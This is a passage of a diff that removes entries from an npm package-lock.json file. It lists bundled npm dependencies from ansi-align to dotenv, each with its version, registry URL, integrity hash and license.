- "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-2.0.0.tgz", - "integrity": "sha1-w2rsy6VjuJzrVW82kPCx2eNUf38=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "string-width": "^2.0.0" - } - }, - "node_modules/npm/node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/ansicolors": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/ansicolors/-/ansicolors-0.3.2.tgz", - "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/ansistyles": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/ansistyles/-/ansistyles-0.1.3.tgz", - "integrity": "sha1-XeYEFb2gcbs3EnhUyGT0GyMlRTk=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/aproba": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/archy": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", - "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/are-we-there-yet": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.4.tgz", - "integrity": "sha1-u13KOCu5TwXhUZQ3PRb9O6HKEQ0=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" - } - }, - "node_modules/npm/node_modules/asap": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", - "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/asn1": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", - "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/assert-plus": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-0.2.0.tgz", - "integrity": "sha1-104bh+ev/A24qttwIfP+SBAasjQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/aws-sign2": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.6.0.tgz", - "integrity": "sha1-FDQt0428yU0OW4fXY81jYSwOeU8=", - "dev": true, - "inBundle": true, - "license": "Apache-2.0", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/aws4": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.7.0.tgz", - "integrity": "sha512-32NDda82rhwD9/JBCCkB+MRYDp0oSvlo2IL6rQWA10PQi7tDUM3eqMSltXmY+Oyl/7N3P3qNtAlv7X0d9bI28w==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/balanced-match": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/bcrypt-pbkdf": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", - "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause", - "optional": true, - "dependencies": { - "tweetnacl": "^0.14.3" - } - }, - "node_modules/npm/node_modules/bin-links": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/bin-links/-/bin-links-1.1.2.tgz", - "integrity": "sha512-8eEHVgYP03nILphilltWjeIjMbKyJo3wvp9K816pHbhP301ismzw15mxAAEVQ/USUwcP++1uNrbERbp8lOA6Fg==", - "dev": true, - "inBundle": true, - "license": "Artistic-2.0", - "dependencies": { - "bluebird": "^3.5.0", - "cmd-shim": "^2.0.2", - "gentle-fs": "^2.0.0", - "graceful-fs": "^4.1.11", - "write-file-atomic": "^2.3.0" - } - }, - "node_modules/npm/node_modules/block-stream": { - "version": "0.0.9", - "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", - "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "inherits": "~2.0.0" - }, - "engines": { - "node": "0.4 || >=0.5.8" - } - }, - "node_modules/npm/node_modules/bluebird": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", - "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/boom": { - "version": "2.10.1", - "resolved": "https://registry.npmjs.org/boom/-/boom-2.10.1.tgz", - "integrity": "sha1-OciRjO/1eZ+D+UkqhI9iWt0Mdm8=", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause", - "dependencies": { - "hoek": "2.x.x" - }, - "engines": { - "node": ">=0.10.40" - } - }, - "node_modules/npm/node_modules/boxen": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/boxen/-/boxen-1.3.0.tgz", - "integrity": "sha512-TNPjfTr432qx7yOjQyaXm3dSR0MH9vXp7eT1BFSl/C51g+EFnOR9hTg1IreahGBmDNCehscshe45f+C1TBZbLw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ansi-align": "^2.0.0", - "camelcase": "^4.0.0", - "chalk": "^2.0.1", - "cli-boxes": "^1.0.0", - "string-width": "^2.0.0", - "term-size": "^1.2.0", - "widest-line": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/npm/node_modules/buffer-from": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.0.0.tgz", - "integrity": "sha512-83apNb8KK0Se60UE1+4Ukbe3HbfELJ6UlI4ldtOGs7So4KD26orJM8hIY9lxdzP+UpItH1Yh/Y8GUvNFWFFRxA==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/builtin-modules": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", - "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/builtins": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/builtins/-/builtins-1.0.3.tgz", - "integrity": "sha1-y5T662HIaWRR2zZTThQi+U8K7og=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/byline": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/byline/-/byline-5.0.0.tgz", - "integrity": "sha1-dBxSFkaOrcRXsDQQEYrXfejB3bE=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/byte-size": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/byte-size/-/byte-size-4.0.3.tgz", - "integrity": "sha512-JGC3EV2bCzJH/ENSh3afyJrH4vwxbHTuO5ljLoI5+2iJOcEpMgP8T782jH9b5qGxf2mSUIp1lfGnfKNrRHpvVg==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/cacache": { - "version": "11.0.2", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-11.0.2.tgz", - "integrity": "sha512-hMiz7LN4w8sdfmKsvNs80ao/vf2JCGWWdpu95JyY90AJZRbZJmgE71dCefRiNf8OCqiZQDcUBfYiLlUNu4/j5A==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "figgy-pudding": "^3.1.0", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^6.0.0", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" - } - }, - "node_modules/npm/node_modules/call-limit": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/call-limit/-/call-limit-1.1.0.tgz", - "integrity": "sha1-b9YbA/PaQqLNDsK2DwK9DnGZH+o=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/capture-stack-trace": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/capture-stack-trace/-/capture-stack-trace-1.0.0.tgz", - "integrity": "sha1-Sm+gc5nCa7pH8LJJa00PtAjFVQ0=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/caseless": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", - "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", - "dev": true, - "inBundle": true, - "license": "Apache-2.0" - }, - "node_modules/npm/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/chownr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", - "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/ci-info": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-1.1.3.tgz", - "integrity": "sha512-SK/846h/Rcy8q9Z9CAwGBLfCJ6EkjJWdpelWDufQpqVDYq2Wnnv8zlSO6AMQap02jvhVruKKpEtQOufo3pFhLg==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/cidr-regex": { - "version": "2.0.9", - "resolved": "https://registry.npmjs.org/cidr-regex/-/cidr-regex-2.0.9.tgz", - "integrity": "sha512-F7/fBRUU45FnvSPjXdpIrc++WRSBdCiSTlyq4ZNhLKOlHFNWgtzZ0Fd+zrqI/J1j0wmlx/f5ZQDmD2GcbrNcmw==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "ip-regex": "^2.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/cli-boxes": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-1.0.0.tgz", - "integrity": "sha1-T6kXw+WclKAEzWH47lCdplFocUM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/cli-columns": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/cli-columns/-/cli-columns-3.1.2.tgz", - "integrity": "sha1-ZzLZcpee/CrkRKHwjgj6E5yWoY4=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "string-width": "^2.0.0", - "strip-ansi": "^3.0.1" - }, - "engines": { - "node": ">= 4" - } - }, - "node_modules/npm/node_modules/cli-table3": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.5.0.tgz", - "integrity": "sha512-c7YHpUyO1SaKaO7kYtxd5NZ8FjAmSK3LpKkuzdwn+2CwpFxBpdoQLm+OAnnCfoEl7onKhN9PKQi1lsHuAIUqGQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "object-assign": "^4.1.0", - "string-width": "^2.1.1" - }, - "engines": { - "node": ">=6" - }, - "optionalDependencies": { - "colors": "^1.1.2" - } - }, - "node_modules/npm/node_modules/cliui": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", - "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" - } - }, - "node_modules/npm/node_modules/cliui/node_modules/ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/cliui/node_modules/strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/clone": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", - "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/cmd-shim": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/cmd-shim/-/cmd-shim-2.0.2.tgz", - "integrity": "sha1-b8vamUg6j9FdfTChlspp1oii79s=", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "graceful-fs": "^4.1.2", - "mkdirp": "~0.5.0" - } - }, - "node_modules/npm/node_modules/co": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "iojs": ">= 1.0.0", - "node": ">= 0.12.0" - } - }, - "node_modules/npm/node_modules/code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/color-convert": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.1.tgz", - "integrity": "sha512-mjGanIiwQJskCC18rPR6OmrZ6fm2Lc7PeGFYwCmy5J34wC6F1PzdGL6xeMfmgicfYcNLGuVFA3WzXtIDCQSZxQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "color-name": "^1.1.1" - } - }, - "node_modules/npm/node_modules/color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/colors": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.3.0.tgz", - "integrity": "sha512-EDpX3a7wHMWFA7PUHWPHNWqOxIIRSJetuwl0AS5Oi/5FMV8kWm69RTlgm00GKjBO1xFHMtBbL49yRtMMdticBw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.1.90" - } - }, - "node_modules/npm/node_modules/columnify": { - "version": "1.5.4", - "resolved": "https://registry.npmjs.org/columnify/-/columnify-1.5.4.tgz", - "integrity": "sha1-Rzfd8ce2mop8NAVweC6UfuyOeLs=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "strip-ansi": "^3.0.0", - "wcwidth": "^1.0.0" - } - }, - "node_modules/npm/node_modules/combined-stream": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", - "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/npm/node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "engines": [ - "node >= 0.8" - ], - "inBundle": true, - "license": "MIT", - "dependencies": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, - "node_modules/npm/node_modules/config-chain": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.11.tgz", - "integrity": "sha1-q6CXR9++TD5w52am5BWG4YWfxvI=", - "dev": true, - "inBundle": true, - "dependencies": { - "ini": "^1.3.4", - "proto-list": "~1.2.1" - } - }, - "node_modules/npm/node_modules/configstore": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/configstore/-/configstore-3.1.2.tgz", - "integrity": "sha512-vtv5HtGjcYUgFrXc6Kx747B83MRRVS5R1VTEQoXvuP+kMI+if6uywV0nDGoiydJRy4yk7h9od5Og0kxx4zUXmw==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "dot-prop": "^4.1.0", - "graceful-fs": "^4.1.2", - "make-dir": "^1.0.0", - "unique-string": "^1.0.0", - "write-file-atomic": "^2.0.0", - "xdg-basedir": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/console-control-strings": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/copy-concurrently": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz", - "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" - } - }, - "node_modules/npm/node_modules/copy-concurrently/node_modules/iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/core-util-is": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/create-error-class": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/create-error-class/-/create-error-class-3.0.2.tgz", - "integrity": "sha1-Br56vvlHo/FKMP1hBnHUAbyot7Y=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "capture-stack-trace": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/cross-spawn": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", - "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, - "node_modules/npm/node_modules/cryptiles": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-2.0.5.tgz", - "integrity": "sha1-O9/s3GCBR8HGcgL6KR59ylnqo7g=", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause", - "dependencies": { - "boom": "2.x.x" - }, - "engines": { - "node": ">=0.10.40" - } - }, - "node_modules/npm/node_modules/crypto-random-string": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-1.0.0.tgz", - "integrity": "sha1-ojD2T1aDEOFJgAmUB5DsmVRbyn4=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/cyclist": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz", - "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=", - "dev": true, - "inBundle": true - }, - "node_modules/npm/node_modules/dashdash": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", - "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "assert-plus": "^1.0.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/npm/node_modules/dashdash/node_modules/assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/npm/node_modules/debug/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/debuglog": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/debuglog/-/debuglog-1.0.1.tgz", - "integrity": "sha1-qiT/uaw9+aI1GDfPstJ5NgzXhJI=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/decamelize": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/decode-uri-component": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", - "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10" - } - }, - "node_modules/npm/node_modules/deep-extend": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.5.1.tgz", - "integrity": "sha512-N8vBdOa+DF7zkRrDCsaOXoCs/E2fJfx9B9MrKnnSiHNh4ws7eSys6YQE4KvT1cecKmOASYQBhbKjeuDD9lT81w==", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/defaults": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.3.tgz", - "integrity": "sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "clone": "^1.0.2" - } - }, - "node_modules/npm/node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/npm/node_modules/delegates": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/detect-indent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-5.0.0.tgz", - "integrity": "sha1-OHHMCmoALow+Wzz38zYmRnXwa50=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/detect-newline": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-2.1.0.tgz", - "integrity": "sha1-9B8cEL5LAOh7XxPaaAdZ8sW/0+I=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/dezalgo": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/dezalgo/-/dezalgo-1.0.3.tgz", - "integrity": "sha1-f3Qt4Gb8dIvI24IFad3c5Jvw1FY=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "asap": "^2.0.0", - "wrappy": "1" - } - }, - "node_modules/npm/node_modules/dot-prop": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-4.2.0.tgz", - "integrity": "sha512-tUMXrxlExSW6U2EXiiKGSBVdYgtV8qlHL+C10TsW4PURY/ic+eaysnSkwB4kA/mBlCyy/IKDJ+Lc3wbWeaXtuQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "is-obj": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/dotenv": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-5.0.1.tgz", - "integrity": 